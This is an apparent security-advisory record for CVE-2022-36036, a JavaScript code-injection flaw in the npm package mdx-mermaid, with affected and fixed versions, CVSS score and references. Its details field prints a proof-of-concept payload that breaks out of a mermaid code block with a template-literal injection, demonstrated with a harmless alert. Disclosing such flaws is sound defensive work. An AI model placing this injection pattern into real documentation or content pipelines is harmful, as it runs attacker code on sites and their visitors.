{"id":"CVE-2022-36036","aliases":["GHSA-rvgm-35jw-q628"],"url":"https://o3.security/vulnerability/CVE-2022-36036","summary":"Improper Control of Generation of Code ('Code Injection') in mdx-mermaid","details":"### Impact\n\nArbitary javascript injection\n\nModify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs\n\n```\n` + (function () {\n  // Put Javascript code here\n  return ''\n}()) + `\n```\n\nThe block below shows a valid mermaid code block\n\n````md\n```mermaid\ngraph TD;\n    A-->B;\n    A-->C;\n    B-->D;\n    C-->D;\n```\n````\n\nThe same block but with the exploit added\n\n````md\n```mermaid\n` + (function () {\n  alert('vulnerable')\n  return ''\n}()) + `\ngraph TD;\n    A-->B;\n    A-->C;\n    B-->D;\n    C-->D;\n```\n````\n\n### Patches\n1.3.0 and 2.0.0-rc2\n\n### Workarounds\nNone known","published":"2022-08-29T17:20:10Z","modified":"2026-10-28T02:31:10.078242781Z","cvss":{"score":3.6,"severity":"LOW","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"mdx-mermaid","fixedVersion":"1.3.0"},{"ecosystem":"npm","name":"mdx-mermaid","fixedVersion":"2.0.0-rc2"}],"fix":{"url":"https://github.com/sjwall/mdx-mermaid/commit/f2b99386660fd13316823529c3f1314ebbcdfd2a","label":"sjwall/mdx-mermaid@f2b9938"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/36xxx/CVE-2022-36036.json"},{"type":"ADVISORY","url":"https://github.com/sjwall/mdx-mermaid/security/advisories/GHSA-rvgm-35jw-q628"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-36036"},{"type":"FIX","url":"https://github.com/sjwall/mdx-mermaid/commit/f2b99386660fd13316823529c3f1314ebbcdfd2a"},{"type":"PACKAGE","url":"https://github.com/sjwall/mdx-mermaid"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:31:10.078242781Z"}}